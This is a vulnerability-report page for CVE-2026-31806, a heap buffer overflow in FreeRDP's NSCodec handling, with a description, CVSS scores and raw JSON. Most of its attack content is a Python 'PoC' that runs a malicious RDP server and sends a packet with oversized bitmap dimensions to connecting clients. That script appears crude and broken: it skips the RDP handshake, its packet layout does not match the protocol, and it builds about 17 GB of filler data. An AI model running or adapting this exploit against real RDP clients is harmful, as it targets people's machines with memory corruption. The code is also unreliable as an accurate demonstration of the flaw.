Security Vulnerability Report
中文
CVE-2026-31806 CVSS 9.8 CRITICAL

CVE-2026-31806

Published: 2026-03-13 19:54:36
Last Modified: 2026-03-17 14:27:20

Description

FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.24.0, the gdi_surface_bits() function processes SURFACE_BITS_COMMAND messages sent by the RDP server. When the command is handled using NSCodec, the bmp.width and bmp.height values provided by the server are not properly validated against the actual desktop dimensions. A malicious RDP server can supply crafted bmp.width and bmp.height values that exceed the expected surface size. Because these values are used during bitmap decoding and memory operations without proper bounds checking, this can lead to a heap buffer overflow. Since the attacker can also control the associated pixel data transmitted by the server, the overflow may be exploitable to overwrite adjacent heap memory. This vulnerability is fixed in 3.24.0.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:* - VULNERABLE
FreeRDP < 3.24.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-31806 PoC - Malicious RDP Server Simulation # This PoC demonstrates the heap buffer overflow in FreeRDP's NSCodec handling import struct import socket def create_malicious_rdp_packet(): """ Create a malicious SURFACE_BITS_COMMAND packet with oversized bmp dimensions """ # RDP Header msg_type = 0x01 # TS_SURFACE_BITS_CMD # NSCodec codecId (1 = NSCODEC) codec_id = 0x01 # Crafted bitmap header with oversized dimensions # Normal desktop might be 1920x1080, but we specify much larger bmp_width = 0xFFFF # 65535 - way larger than actual surface bmp_height = 0xFFFF # 65535 # Bitmap data header bmp_data_header = struct.pack('<HHI', bmp_width, bmp_height, codec_id) # Crafted pixel data that will overflow the undersized buffer # This data will be written beyond allocated buffer bounds malicious_pixel_data = b'\x41' * (bmp_width * bmp_height * 4) # Complete SURFACE_BITS_COMMAND message surface_bits_cmd = bmp_data_header + malicious_pixel_data return surface_bits_cmd def start_malicious_rdp_server(host='0.0.0.0', port=3389): """ Simulate a malicious RDP server that exploits CVE-2026-31806 """ server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind((host, port)) server_socket.listen(1) print(f"[*] Malicious RDP server listening on {host}:{port}") print("[*] Waiting for FreeRDP client connection...") while True: try: client_socket, addr = server_socket.accept() print(f"[+] Client connected from {addr}") # RDP connection sequence (simplified) # In real attack, proper handshake would be performed # Send malicious SURFACE_BITS_COMMAND malicious_packet = create_malicious_rdp_packet() client_socket.send(malicious_packet) print("[+] Sent malicious SURFACE_BITS_COMMAND packet") print(f"[*] Bitmap dimensions: {0xFFFF}x{0xFFFF}") print("[*] This should trigger heap buffer overflow in vulnerable FreeRDP") client_socket.close() except Exception as e: print(f"[-] Error: {e}") break if __name__ == '__main__': print("=" * 60) print("CVE-2026-31806 FreeRDP Heap Buffer Overflow PoC") print("Target: FreeRDP < 3.24.0") print("=" * 60) start_malicious_rdp_server()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31806", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:36.300", "lastModified": "2026-03-17T14:27:20.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.24.0, the gdi_surface_bits() function processes SURFACE_BITS_COMMAND messages sent by the RDP server. When the command is handled using NSCodec, the bmp.width and bmp.height values provided by the server are not properly validated against the actual desktop dimensions. A malicious RDP server can supply crafted bmp.width and bmp.height values that exceed the expected surface size. Because these values are used during bitmap decoding and memory operations without proper bounds checking, this can lead to a heap buffer overflow. Since the attacker can also control the associated pixel data transmitted by the server, the overflow may be exploitable to overwrite adjacent heap memory. This vulnerability is fixed in 3.24.0."}, {"lang": "es", "value": "FreeRDP es una implementación gratuita del Protocolo de Escritorio Remoto. Antes de la versión 3.24.0, la función gdi_surface_bits() procesa los mensajes SURFACE_BITS_COMMAND enviados por el servidor RDP. Cuando el comando se maneja usando NSCodec, los valores bmp.width y bmp.height proporcionados por el servidor no se validan correctamente contra las dimensiones reales del escritorio. Un servidor RDP malicioso puede proporcionar valores bmp.width y bmp.height manipulados que exceden el tamaño de superficie esperado. Debido a que estos valores se utilizan durante la decodificación de mapas de bits y las operaciones de memoria sin una verificación de límites adecuada, esto puede conducir a un desbordamiento de búfer de pila. Dado que el atacante también puede controlar los datos de píxeles asociados transmitidos por el servidor, el desbordamiento puede ser explotable para sobrescribir memoria de pila adyacente. Esta vulnerabilidad está corregida en la versión 3.24.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.24.0", "matchCriteriaId": "97FCA262-35C3-4B6B-A321-15CE780FCA20"}]}]}], "references": [{"url": "https://github.com/FreeRDP/FreeRDP/commit/83d9aedea278a74af3e490ff5eeb889c016dbb2b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-rrqm-46rj-cmx2", "source": "[email protected]", "tags": ["Exploit", "Patch", "Vendor Advisory"]}]}}